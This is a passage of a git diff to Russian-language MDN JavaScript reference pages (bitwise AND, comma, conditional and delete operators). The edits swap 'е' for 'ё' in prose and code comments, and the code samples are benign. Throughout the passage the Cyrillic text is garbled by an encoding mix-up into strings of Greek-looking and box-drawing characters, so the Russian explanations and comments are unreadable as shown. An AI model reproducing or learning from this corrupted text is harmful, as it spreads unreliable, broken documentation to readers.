+<p>Если <code>Promise</code> ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½, то выбрасываСтся ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ с ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ.</p>
<pre class="brush: js">async function f3() {
try {
diff --git a/files/ru/web/javascript/reference/operators/bitwise_and/index.html b/files/ru/web/javascript/reference/operators/bitwise_and/index.html
index 6c08ef0ded..099bbe37cd 100644
--- a/files/ru/web/javascript/reference/operators/bitwise_and/index.html
+++ b/files/ru/web/javascript/reference/operators/bitwise_and/index.html
@@ -72,7 +72,7 @@ translation_of: Web/JavaScript/Reference/Operators/Bitwise_AND
14 &amp; 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10)
</pre>
-<p>ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ И для любого числа <code><var>x</var></code> с <code>0</code> Π΄Π°Π΅Ρ‚Β <code>0</code>.</p>
+<p>ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ И для любого числа <code><var>x</var></code> с <code>0</code> Π΄Π°Ρ‘Ρ‚Β <code>0</code>.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/javascript/reference/operators/comma_operator/index.html b/files/ru/web/javascript/reference/operators/comma_operator/index.html
index 85d739fdab..de9bc91731 100644
--- a/files/ru/web/javascript/reference/operators/comma_operator/index.html
+++ b/files/ru/web/javascript/reference/operators/comma_operator/index.html
@@ -31,13 +31,13 @@ original_slug: Web/JavaScript/Reference/Operators/ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€_ЗапятаΡ
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<p>Если <code>a</code> это Π΄Π²ΡƒΠΌΠ΅Ρ€Π½Ρ‹ΠΉ массив элСмСнтов Ρ€Π°Π·ΠΌΠ΅Ρ€Π½ΠΎΡΡ‚ΡŒΡŽ 10 Ρ…Β 10, Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ запятая для ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ измСнСния Π΄Π²ΡƒΡ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Π·Π° Ρ€Π°Π·.</p>
+<p>Если <code>a</code> это Π΄Π²ΡƒΠΌΠ΅Ρ€Π½Ρ‹ΠΉ массив элСмСнтов Ρ€Π°Π·ΠΌΠ΅Ρ€Π½ΠΎΡΡ‚ΡŒΡŽ 10 Ρ…Β 10, Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ запятая для ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ измСнСния Π΄Π²ΡƒΡ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Π·Π° Ρ€Π°Π·.</p>
<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Π² консоль значСния Π΄ΠΈΠ°Π³ΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Ρ… элСмСнтов массива:</p>
<pre class="brush:js;highlight:[1]">for (let i = 0, j = 9; i &lt;= 9; i++, j--)
console.log("a[" + i + "][" + j + "] = " + a[i][j]);</pre>
-<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ запятая ΠΏΡ€ΠΈ объявлСнии ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>var</code>,Β <code>let</code> ΠΈΠ»ΠΈΒ <code>const</code>Β <strong>Π½Π΅</strong> являСтся ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ запятая, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π² Π΄Π°Π½Π½ΠΎΠΌ случаС ΠΎΠ½Π° находится Π½Π΅Β Π² Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ. Π‘ΠΊΠΎΡ€Π΅Π΅, это спСц символ Π² объявлСнии ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, ΠΊΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉ ΠΈΡ… мноТСство Π² ΠΎΠ΄Π½ΠΎ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅. ΠŸΡ€Π°ΠΊΡ‚ΠΈΡ‡Π΅ΡΠΊΠΈ, эта запятая Π²Π΅Π΄Π΅Ρ‚ сСбя ΠΏΠΎΡ‡Ρ‚ΠΈ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ запятая.</p>
+<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ запятая ΠΏΡ€ΠΈ объявлСнии ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>var</code>,Β <code>let</code> ΠΈΠ»ΠΈΒ <code>const</code>Β <strong>Π½Π΅</strong> являСтся ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ запятая, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π² Π΄Π°Π½Π½ΠΎΠΌ случаС ΠΎΠ½Π° находится Π½Π΅Β Π² Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ. Π‘ΠΊΠΎΡ€Π΅Π΅, это спСц символ Π² объявлСнии ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, ΠΊΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉ ΠΈΡ… мноТСство Π² ΠΎΠ΄Π½ΠΎ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅. ΠŸΡ€Π°ΠΊΡ‚ΠΈΡ‡Π΅ΡΠΊΠΈ, эта запятая Π²Π΅Π΄Ρ‘Ρ‚ сСбя ΠΏΠΎΡ‡Ρ‚ΠΈ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ запятая.</p>
<pre class="brush: js"> // ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ΅ объявлСниС Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½ΠΎ Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅(strict mode)
diff --git a/files/ru/web/javascript/reference/operators/conditional_operator/index.html b/files/ru/web/javascript/reference/operators/conditional_operator/index.html
index 8b035ad9e4..7eabde0687 100644
--- a/files/ru/web/javascript/reference/operators/conditional_operator/index.html
+++ b/files/ru/web/javascript/reference/operators/conditional_operator/index.html
@@ -42,9 +42,9 @@ original_slug: Web/JavaScript/Reference/Operators/Условный_ΠΎΠΏΠ΅Ρ€Π°Ρ‚Π
<pre class="brush: js notranslate">var firstCheck = false,
secondCheck = false,
- access = firstCheck ? "Доступ Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½" : secondCheck ? "Доступ Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½" : "Доступ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½";
+ access = firstCheck ? "Доступ Π·Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½" : secondCheck ? "Доступ Π·Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½" : "Доступ Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½";
-console.log( access ); // Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Π² консоль "Доступ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½"</pre>
+console.log( access ); // Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Π² консоль "Доступ Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½"</pre>
<p>Π’Π΅Ρ€Π½Π°Ρ€Π½Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ сами ΠΏΠΎ сСбС - для выполнСния Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ:</p>
@@ -62,18 +62,18 @@ age &gt; 18 ? (
location.assign("continue.html")
) : (
stop = true,
- alert("ΠŸΡ€ΠΎΡΡ‚ΠΈΡ‚Π΅, Π²Ρ‹ Π΅Ρ‰Π΅ Ρ‚Π°ΠΊ ΡŽΠ½Ρ‹!")
+ alert("ΠŸΡ€ΠΎΡΡ‚ΠΈΡ‚Π΅, Π²Ρ‹ Π΅Ρ‰Ρ‘ Ρ‚Π°ΠΊ ΡŽΠ½Ρ‹!")
);
</pre>
-<p>ΠŸΡ€ΠΈ присвоСнии значСния Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π±ΠΎΠ»Π΅Π΅ ΠΎΠ΄Π½ΠΎΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Π’ этом случаС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <strong>Π±ΡƒΠ΄Π΅Ρ‚ присвоСно Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, </strong><em><strong>ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ стоит послСдним Π² спискС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятой</strong></em>.</p>
+<p>ΠŸΡ€ΠΈ присвоСнии значСния Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π±ΠΎΠ»Π΅Π΅ ΠΎΠ΄Π½ΠΎΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Π’ этом случаС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <strong>Π±ΡƒΠ΄Π΅Ρ‚ присвоСно Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, </strong><em><strong>ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ стоит послСдним Π² спискС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятой</strong></em>.</p>
<pre class="brush: js notranslate">var age = 16;
var url = age &gt; 18 ? (
alert("Π₯ΠΎΡ€ΠΎΡˆΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ."),
- // alert Π²Π΅Ρ€Π½Π΅Ρ‚ "undefined", Π½ΠΎ это Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ
- // Π½Π΅ являСтся послСдним Π² спискС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятой
+ // alert Π²Π΅Ρ€Π½Ρ‘Ρ‚ "undefined", Π½ΠΎ это Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ
+ // Π½Π΅ являСтся послСдним Π² спискС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятой
"continue.html" // Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ присвоСно, Ссли age &gt; 18
) : (
alert("Π’Ρ‹ слишком ΠΌΠΎΠ»ΠΎΠ΄Ρ‹!"),
diff --git a/files/ru/web/javascript/reference/operators/delete/index.html b/files/ru/web/javascript/reference/operators/delete/index.html
index 2edf33b67e..d7722fa829 100644
--- a/files/ru/web/javascript/reference/operators/delete/index.html
+++ b/files/ru/web/javascript/reference/operators/delete/index.html
@@ -64,18 +64,18 @@ delete <em>property</em> // удаляСт свойства глобальног
<p><code>delete</code> эффСктивСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊ свойствам ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ². Он Π½Π΅ ΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ влияния Π½Π° ΠΈΠΌΠ΅Π½Π° ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ.<br>
ΠŸΡ€ΠΈΡΠ²ΠΎΠ΅Π½ΠΈΠ΅ значСния свойству Π±Π΅Π· указания ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° (Π±Π΅Π· ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° var) ΠΈΠ½ΠΎΠ³Π΄Π° Π½Π΅Π²Π΅Ρ€Π½ΠΎ характСризуСтся, ΠΊΠ°ΠΊ глобальная пСрСмСнная, (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>x = 5</code>). На самом Π΄Π΅Π»Π΅ происходит присвоСниС значСния свойству глобального ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.</p>
-<p><code>delete</code> Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ свойства встроСнных ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² (Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Object, Array, Math ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅). Π’ спСцификации ECMA-262 ΠΎΠ½ΠΈ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π΅Π½Ρ‹ ΠΊΠ°ΠΊ <em>DontDelete.</em></p>
+<p><code>delete</code> Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ свойства встроСнных ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² (Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Object, Array, Math ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅). Π’ спСцификации ECMA-262 ΠΎΠ½ΠΈ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π΅Π½Ρ‹ ΠΊΠ°ΠΊ <em>DontDelete.</em></p>
-<pre class="brush: js">x = 42; // создаСт свойство x Π² глобальном ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅
+<pre class="brush: js">x = 42; // создаёт свойство x Π² глобальном ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅
var y = 43; // ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ Π½ΠΎΠ²ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, y
myobj = {};
-myobj.h = 4; // создаСт свойство h Π² myobj
-myobj.k = 5; // создаСт свойство k Π² myobj
+myobj.h = 4; // создаёт свойство h Π² myobj
+myobj.k = 5; // создаёт свойство k Π² myobj
delete x; // Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ true (x - свойство глобального ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½ΠΎ)
delete y; // Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ false (delete Π½Π΅ влияСт Π½Π° ΠΈΠΌΠ΅Π½Π° ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…)
-delete Math.PI; // Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ false (delete Π½Π΅ влияСт Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ встроСнныС свойства)
-delete myobj.h; // Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ true (свойства, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹)
+delete Math.PI; // Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ false (delete Π½Π΅ влияСт Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ встроСнныС свойства)
+delete myobj.h; // Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ true (свойства, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹)
with(myobj) {
delete k; // Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ true (эквивалСнтно delete myobj.k)
@@ -89,7 +89,7 @@ delete myobj; // Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ true (myobj это свойство Π³Π
Foo.prototype.bar = 42;
var foo = new Foo();
delete foo.bar; // Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ true, Π½ΠΎ Π±Π΅Π·Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π½ΠΎ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ bar - наслСдуСмоС свойство
-alert(foo.bar); // Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ 42, свойство всС Π΅Ρ‰Π΅ наслСдуСтся
+alert(foo.bar); // Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ 42, свойство всС Π΅Ρ‰Ρ‘ наслСдуСтся
delete Foo.prototype.bar; // удаляСт свойство ΠΈΠ· ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ°
alert(foo.bar); // Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ "undefined", свойство большС Π½Π΅ наслСдуСтся</pre>
@@ -106,7 +106,7 @@ if (3 in trees) {
// этот участок ΠΊΠΎΠ΄Π° Π½Π΅ выполнится
}</pre>
-<p>Если Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ элСмСнт массива сущСствовал, Π½ΠΎ ΠΈΠΌΠ΅Π» Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ undefined, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>undefined</code> вмСсто ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° <code>delete</code>. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, trees{{ mediawiki.external(3) }} ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ undefined, Π½ΠΎ элСмСнт массива всС Π΅Ρ‰Π΅ сущСствуСт:</p>
+<p>Если Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ элСмСнт массива сущСствовал, Π½ΠΎ ΠΈΠΌΠ΅Π» Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ undefined, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>undefined</code> вмСсто ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° <code>delete</code>. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, trees{{ mediawiki.external(3) }} ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ undefined, Π½ΠΎ элСмСнт массива всС Π΅Ρ‰Ρ‘ сущСствуСт:</p>
<pre class="brush: js">var trees = ["redwood","bay","cedar","oak","maple"];
trees[3]=undefined;
@@ -116,9 +116,9 @@ if (3 in trees) {
<h2 id="ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ°_кроссбраузСрности">ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° кроссбраузСрности</h2>
-<p>НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ стандарт ECMAScript оставляСт порядок ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ ΠΏΠΎ свойствам ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π½Π° усмотрСниС Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‰Π΅ΠΉ стороны, ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ всС основныС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ порядок ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ, основанный Π½Π° ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠ΅ "свойство Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΠΎΠ΅ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ€Π°Π½ΡŒΡˆΠ΅ ΠΈΠ΄Π΅Ρ‚ Ρ€Π°Π½ΡŒΡˆΠ΅" (ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ для свойств Π½Π΅ находящихся Π² ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ΅). Однако, Π² случаС с Internet Explorer, ΠΊΠΎΠ³Π΄Π° ΠΊΡ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ <code>delete</code> с ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ свойством, это ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π½Π΅ΠΎΠΆΠΈΠ΄Π°Π½Π½Ρ‹ΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°ΠΌ, заставляя Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΎΡ‚ΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ использования простых ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Π»ΠΈΡ‚Π΅Ρ€Π°Π»Ρ‹ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Π² качСствС ассоциативных массивов. Π’ Internet Explorer, ΠΊΠΎΠ³Π΄Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства установлСно Π² undefined, послС удалСния этого свойства, Ссли ΠΊΡ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ ΠΏΠΎΠ·ΠΆΠ΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ свойство с Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ ΠΈΠΌΠ΅Π½Π΅ΠΌ, ΠΎΠ½ΠΎ окаТСтся Π² своСй <em>старой</em> ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ, Π° Π½Π΅ Π² ΠΊΠΎΠ½Ρ†Π΅ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, ΠΊΠ°ΠΊ оТидаСтся.</p>
+<p>НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ стандарт ECMAScript оставляСт порядок ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ ΠΏΠΎ свойствам ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π½Π° усмотрСниС Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‰Π΅ΠΉ стороны, ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ всС основныС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ порядок ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ, основанный Π½Π° ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠ΅ "свойство Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΠΎΠ΅ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ€Π°Π½ΡŒΡˆΠ΅ ΠΈΠ΄Ρ‘Ρ‚ Ρ€Π°Π½ΡŒΡˆΠ΅" (ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ для свойств Π½Π΅ находящихся Π² ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ΅). Однако, Π² случаС с Internet Explorer, ΠΊΠΎΠ³Π΄Π° ΠΊΡ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ <code>delete</code> с ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ свойством, это ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π½Π΅ΠΎΠΆΠΈΠ΄Π°Π½Π½Ρ‹ΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°ΠΌ, заставляя 